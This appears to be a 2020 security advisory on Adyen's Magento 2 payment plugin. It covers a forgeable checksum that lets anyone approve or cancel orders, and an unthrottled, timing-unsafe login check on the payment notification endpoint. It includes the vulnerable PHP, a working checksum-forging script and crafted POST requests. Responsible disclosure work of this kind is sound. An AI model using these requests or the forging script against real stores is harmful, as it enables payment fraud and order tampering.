Adyen Magento2 Plugin - Multiple Vulnerabilities

Jul 27 2020

The Adyen Magento 2 plugin did not securely implement authentication for the POS callback which allows an attacker to approve or cancel arbitrary orders. The only authentication required was a checksum that an attacker can recreate. Additionally, the /adyen/process/json endpoint did not implement any authentication brute force protection and was vulnerable to timing attacks. An attacker who can successfully brute force these credentials may submit fraudulent payment notifications and fabricate payment information.

Date Released: 27/07/2020
Author: Denis Andzakovic
Project Website: https://github.com/Adyen/adyen-magento2
Affected Software: Adyen Payments Magento2 Plugin

POS Authentication Bypass

An attacker could add the Approved tag to arbitrary orders or cancel arbitrary orders using the /adyen/process/resultpos/ endpoint without privileges to do so. The _validateChecksum method was the only authentication mechanism and could be calculated by an attacker. Other parameters, such as sessionId, originalCustomAmount and originalCustomCurrency could be set to any value as long as the checksum matched.

The following figure shows an example request to cancel an arbitrary order:

POST /adyen/process/resultpos/ HTTP/1.1
...omitted for brevity...
Cookie: form_key=<FORM KEY>

form_key=<FORM KEY>&result=CANCELLED&merchantReference=ORD00001&cs=48&originalCustomAmount=12
&originalCustomCurrency=nzd&sessionId=session

The following snippet from ResultPos.php shows the vulnerable logic:

    public function execute()
    {
        $response = $this->getRequest()->getParams();
        $this->_adyenLogger->addAdyenResult(print_r($response, true));

        $result = $this->_validateResponse($response);

        if ($result) {
            $session = $this->_session;
            $session->getQuote()->setIsActive(false)->save();
            $this->_redirect('checkout/onepage/success', ['_query' => ['utm_nooverride' => '1']]);
        } else {
            $this->_cancel($response);
            $this->_redirect($this->_adyenHelper->getAdyenAbstractConfigData('return_path'));
        }
    }

The _validateResponse method subsequently calls the _validateChecksum method, then cancels or approves an order based on the POST data:

    private function _validateResponse($response)
    {
        $result = false;

        if ($response != null && $response['result'] != "" && $this->_validateChecksum($response)) {
            $incrementId = $response['merchantReference'];
            $responseResult = $response['result'];

            if ($incrementId) {
...omitted for brevity...
                    if ($responseResult == 'APPROVED') {
                        $this->_adyenLogger->addAdyenResult('Result is approved');

                        $history = $this->_orderHistoryFactory->create()
                            //->setStatus($status)
                            ->setComment($comment)
                            ->setEntityName('order')
                            ->setOrder($order);
                        $history->save();

                        // needed  becuase then we need to save $order objects
                        $order->setAdyenResulturlEventCode("POS_APPROVED");

                        // save order
                        $order->save();

                        return true;
                    } else {
                        $this->_adyenLogger->addAdyenResult('Result is:' . $responseResult);

                        $history = $this->_orderHistoryFactory->create()
                            //->setStatus($status)
                            ->setComment($comment)
                            ->setEntityName('order')
                            ->setOrder($order);
                        $history->save();

                        // cancel the order
                        if ($order->canCancel()) {
                            $order->cancel()->save();
                            $this->_adyenLogger->addAdyenResult('Order is cancelled');
                        } else {
                            $this->_adyenLogger->addAdyenResult('Order can not be cancelled');
                        }
                    }
                } else {
                    $this->_adyenLogger->addAdyenResult('Order does not exists with increment_id: ' . $incrementId);
                }
            } else {
                $this->_adyenLogger->addAdyenResult('Empty merchantReference');
            }
        } else {
            $this->_adyenLogger->addAdyenResult('actionName or checksum failed or response is empty');
        }
        return $result;
    }

The _validateChecksum method is the only form of authentication. Pulse Security created the following helper script to generate valid checksums:

<?php
    function _getAscii2Int($ascii)
    {
        if (is_numeric($ascii)) {
            $int = ord($ascii) - 48;
        } else {
            $int = ord($ascii) - 64;
        }
        return $int;
    }

    function _validateChecksum($result, $amount, $currency, $sessionId)
    {
        // for android sessionis is with low i
        if ($sessionId == "") {
            $sessionId = $response['sessionid'];
        }

        // calculate amount checksum
        $amountChecksum = 0;
        $amountLength = strlen($amount);
        for ($i=0; $i<$amountLength; $i++) {
            // ASCII value use ord
            $checksumCalc = ord($amount[$i]) - 48;
            $amountChecksum += $checksumCalc;
        }

        $currencyChecksum = 0;
        $currencyLength = strlen($currency);
        for ($i=0; $i<$currencyLength; $i++) {
            $checksumCalc = ord($currency[$i]) - 64;
            $currencyChecksum += $checksumCalc;
        }

        $resultChecksum = 0;
        $resultLength = strlen($result);
        for ($i=0; $i<$resultLength; $i++) {
            $checksumCalc = ord($result[$i]) - 64;
            $resultChecksum += $checksumCalc;
        }

        $sessionIdChecksum = 0;
        $sessionIdLength = strlen($sessionId);
        for ($i=0; $i<$sessionIdLength; $i++) {
            $checksumCalc = _getAscii2Int($sessionId[$i]);
            $sessionIdChecksum += $checksumCalc;
        }

        $totalResultChecksum = (($amountChecksum + $currencyChecksum + $resultChecksum) * $sessionIdChecksum) % 100;

        echo $totalResultChecksum . "\n";
    }

    _validateChecksum($argv[1],$argv[2],$argv[3],$argv[4]);
?>

The following figure shows the helper tool being used to generate a checksum for approving orders:

[email protected]:~/tmp$ php checksummer.php APPROVED 12 nzd session
60

The result above can then be used to add the approved tag to an order as follows:

POST /adyen/process/resultpos/ HTTP/1.1
...omitted for brevity...
Cookie: form_key=<FORM KEY>

form_key=<FORM KEY>&result=APPROVED&merchantReference=ORD00001&cs=60&originalCustomAmount=12
&originalCustomCurrency=nzd&sessionId=session

Payment JSON Callback Brute Forcing and Timing Attacks

The /adyen/process/json endpoint did not implement any authentication brute force protection. An attacker who can successfully brute force these credentials may submit fraudulent payment notifications and fabricate payment information. Additionally, the use of strcmp for password comparison allows for timing attacks.

The following snippet shows the vulnerability:

    public function execute()
    {
        // if version is in the notification string show the module version
        $response = $this->getRequest()->getParams();
        if (isset($response['version'])) {
            $this->getResponse()
                ->clearHeader('Content-Type')
                ->setHeader('Content-Type', 'text/html')
                ->setBody($this->_adyenHelper->getModuleVersion());

            return;
        }

        try {
            $notificationItems = json_decode(file_get_contents('php://input'), true);

            $notificationMode = isset($notificationItems['live']) ? $notificationItems['live'] : "";

            if ($notificationMode !== "" && $this->_validateNotificationMode($notificationMode)) {

                foreach ($notificationItems['notificationItems'] as $notificationItem) {
                    $status = $this->_processNotification(
                        $notificationItem['NotificationRequestItem'],
                        $notificationMode
                    );

The _processNotification method subsequently calls the authorised method, which extracts the username and password passed via the authorization header:

protected function authorised($response)
    {
        // Add CGI support
        $this->_fixCgiHttpAuthentication();

        $internalMerchantAccount = $this->_adyenHelper->getAdyenAbstractConfigData('merchant_account');
        $username = $this->_adyenHelper->getAdyenAbstractConfigData('notification_username');
        $password = $this->_adyenHelper->getNotificationPassword();

        $submitedMerchantAccount = $response['merchantAccountCode'];
...omitted for brevity...
        // validate username and password
        if ((!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW']))) {
            if ($this->_isTestNotification($response['pspReference'])) {
                $this->_returnResult(
                    'Authentication failed: PHP_AUTH_USER and PHP_AUTH_PW are empty. See Adyen Magento manual CGI mode'
                );
            }
            return false;
        }

        $usernameCmp = strcmp($_SERVER['PHP_AUTH_USER'], $username);
        $passwordCmp = strcmp($_SERVER['PHP_AUTH_PW'], $password);
        if ($usernameCmp === 0 && $passwordCmp === 0) {
            return true;
        }

        // If notification is test check if fields are correct if not return error
        if ($this->_isTestNotification($response['pspReference'])) {
            if ($usernameCmp != 0 || $passwordCmp != 0) {
                $this->_returnResult(
                    'username (PHP_AUTH_USER) and\or password (PHP_AUTH_PW) are not the same as Magento settings'
                );
            }
        }
        return false;
    }

The code above implements no brute force protection, allowing an attacker to try multiple username and password combinations without restriction.

Additionally, the strcmp lines above did not perform timing-safe comparisons of the username and password. Given sufficient network stability and a minimally loaded server, an attacker could potentially stage a timing-attack to determine the password.

Timelines

2020-04-24: Advisory reported to Adyen
2020-06-26: Pull request https://github.com/Adyen/adyen-magento2/pull/736 with potential fixes merged
2020-07-27: Advisory released